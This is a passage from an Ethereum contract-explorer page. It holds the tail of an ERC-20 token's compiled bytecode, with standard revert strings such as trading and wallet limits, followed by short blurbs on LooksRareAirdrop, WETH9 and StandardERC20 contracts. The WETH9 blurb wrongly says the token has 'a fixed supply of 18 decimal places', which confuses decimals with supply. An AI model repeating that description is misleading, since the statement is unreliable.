0005b83811015611fec578082015181840152602081019050611fd1565b83811115611ffb576000848401525b50505050565b6000601f19601f8301169050919050565b600061201d82611fb2565b6120278185611fbd565b9350612037818560208601611fce565b61204081612001565b840191505092915050565b600060208201905081810360008301526120658184612012565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120a282612077565b9050919050565b6120b281612097565b81146120bd57600080fd5b50565b6000813590506120cf816120a9565b92915050565b6000819050919050565b6120e8816120d5565b81146120f357600080fd5b50565b600081359050612105816120df565b92915050565b600080604083850312156121225761212161206d565b5b6000612130858286016120c0565b9250506020612141858286016120f6565b9150509250929050565b60008115159050919050565b6121608161214b565b82525050565b600060208201905061217b6000830184612157565b92915050565b61218a816120d5565b82525050565b60006020820190506121a56000830184612181565b92915050565b6000602082840312156121c1576121c061206d565b5b60006121cf848285016120c0565b91505092915050565b6000806000606084860312156121f1576121f061206d565b5b60006121ff868287016120c0565b9350506020612210868287016120c0565b9250506040612221868287016120f6565b9150509250925092565b600060ff82169050919050565b6122418161222b565b82525050565b600060208201905061225c6000830184612238565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261228757612286612262565b5b8235905067ffffffffffffffff8111156122a4576122a3612267565b5b6020830191508360208202830111156122c0576122bf61226c565b5b9250929050565b6000806000604084860312156122e0576122df61206d565b5b600084013567ffffffffffffffff8111156122fe576122fd612072565b5b61230a86828701612271565b9350935050602061231d868287016120f6565b9150509250925092565b61233081612097565b82525050565b600060208201905061234b6000830184612327565b92915050565b600080604083850312156123685761236761206d565b5b6000612376858286016120f6565b9250506020612387858286016120f6565b9150509250929050565b60008083601f8401126123a7576123a6612262565b5b8235905067ffffffffffffffff8111156123c4576123c3612267565b5b6020830191508360208202830111156123e0576123df61226c565b5b9250929050565b6123f08161214b565b81146123fb57600080fd5b50565b60008135905061240d816123e7565b92915050565b60008060006040848603121561242c5761242b61206d565b5b600084013567ffffffffffffffff81111561244a57612449612072565b5b61245686828701612391565b93509350506020612469868287016123fe565b9150509250925092565b6000602082840312156124895761248861206d565b5b6000612497848285016123fe565b91505092915050565b600080604083850312156124b7576124b661206d565b5b60006124c5858286016120c0565b92505060206124d6858286016120c0565b9150509250929050565b6000602082840312156124f6576124f561206d565b5b6000612504848285016120f6565b91505092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612569602883611fbd565b91506125748261250d565b604082019050919050565b600060208201905081810360008301526125988161255c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006125d9826120d5565b91506125e4836120d5565b9250828210156125f7576125f661259f565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612638602083611fbd565b915061264382612602565b602082019050919050565b600060208201905081810360008301526126678161262b565b9050919050565b6000612679826120d5565b9150612684836120d5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126b9576126b861259f565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b60006126fe826120d5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156127315761273061259f565b5b600182019050919050565b7f546f6b656e3a206f6e6c792066656520726564756374696f6e207065726d697460008201527f7465640000000000000000000000000000000000000000000000000000000000602082015250565b6000612798602383611fbd565b91506127a38261273c565b604082019050919050565b600060208201905081810360008301526127c78161278b565b9050919050565b7f546f6b656e3a2074726164696e6720616c7265616479206f70656e0000000000600082015250565b6000612804601b83611fbd565b915061280f826127ce565b602082019050919050565b60006020820190508181036000830152612833816127f7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612874826120d5565b915061287f836120d5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128b8576128b761259f565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006128fd826120d5565b9150612908836120d5565b925082612918576129176128c3565b5b828204905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061297f602483611fbd565b915061298a82612923565b604082019050919050565b600060208201905081810360008301526129ae81612972565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a11602283611fbd565b9150612a1c826129b5565b604082019050919050565b60006020820190508181036000830152612a4081612a04565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612aa3602583611fbd565b9150612aae82612a47565b604082019050919050565b60006020820190508181036000830152612ad281612a96565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612b35602383611fbd565b9150612b4082612ad9565b604082019050919050565b60006020820190508181036000830152612b6481612b28565b9050919050565b7f546f6b656e3a207472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f00000000000000000000000000000000602082015250565b6000612bc7603083611fbd565b9150612bd282612b6b565b604082019050919050565b60006020820190508181036000830152612bf681612bba565b9050919050565b7f546f6b656e3a206d6178207472616e73616374696f6e20616d6f756e7420726560008201527f737472696374696f6e0000000000000000000000000000000000000000000000602082015250565b6000612c59602983611fbd565b9150612c6482612bfd565b604082019050919050565b60006020820190508181036000830152612c8881612c4c565b9050919050565b7f546f6b656e3a206d61782077616c6c657420616d6f756e74207265737472696360008201527f74696f6e00000000000000000000000000000000000000000000000000000000602082015250565b6000612ceb602483611fbd565b9150612cf682612c8f565b604082019050919050565b60006020820190508181036000830152612d1a81612cde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b6000819050919050565b6000612d7f612d7a612d7584612d50565b612d5a565b6120d5565b9050919050565b612d8f81612d64565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612dca81612097565b82525050565b6000612ddc8383612dc1565b60208301905092915050565b6000602082019050919050565b6000612e0082612d95565b612e0a8185612da0565b9350612e1583612db1565b8060005b83811015612e46578151612e2d8882612dd0565b9750612e3883612de8565b925050600181019050612e19565b5085935050505092915050565b600060a082019050612e686000830188612181565b612e756020830187612d86565b8181036040830152612e878186612df5565b9050612e966060830185612327565b612ea36080830184612181565b969550505050505056fea2646970667358221220ccb4ee397d42cd2b1a7465b1a7b6b499895b7d35665836059d654bee369d043864736f6c634300080a0033
Checkout more smart contracts
- Verified, Token
- LooksRare
- Fungible Token
- ERC-20
- Verified, Token
- Fungible Token
- ERC-20
- Verified, Token
- Fungible Token
- ERC-20
![Ethereum logo](/_next/image?url=https%3A%2F%2Fwww.datocms-assets.com%2F105223%2F1699489036-ethereum-logo.png&w=96&q=75)
LooksRareAirdrop
The following smart contract is a LooksRareAirdrop contract that allows users to claim airdrop rewards in the form of ERC20 tokens. Users must provide a valid merkle proof and meet certain requirements, including having a signed maker order and approval for the collection. The contract is pausable and has a maximum amount that can be claimed. The owner can set the merkle root, update the end timestamp, and withdraw token rewards.
![Ethereum logo](/_next/image?url=https%3A%2F%2Fwww.datocms-assets.com%2F105223%2F1699489036-ethereum-logo.png&w=96&q=75)
WETH9
The following smart contract is a basic implementation of the Wrapped Ether (WETH) token on the Ethereum blockchain. It allows users to deposit Ether into the contract and receive WETH tokens in return, which can be transferred to other users or contracts. The contract also includes functions for withdrawing Ether, checking balances, and approving transfers. The WETH token has a fixed supply of 18 decimal places and is represented by the symbol "WETH".
![Ethereum logo](/_next/image?url=https%3A%2F%2Fwww.datocms-assets.com%2F105223%2F1699489036-ethereum-logo.png&w=96&q=75)
StandardERC20
The following smart contract is a Standard ERC20 token contract that inherits from ERC20Decimals and ServicePayer contracts. It allows for the creation of a new ERC20 token with a specified name, symbol, decimals, initial balance, and fee receiver address. The constructor ensures that the initial balance is greater than zero and mints the initial balance to the contract creator. The decimals function returns the number of decimal places used by the token.
![Section background image](/_next/image?url=https%3A%2F%2Fwww.datocms-assets.com%2F105223%2F1695993053-convertion-panel-bg-dark.jpg&w=3840&q=75)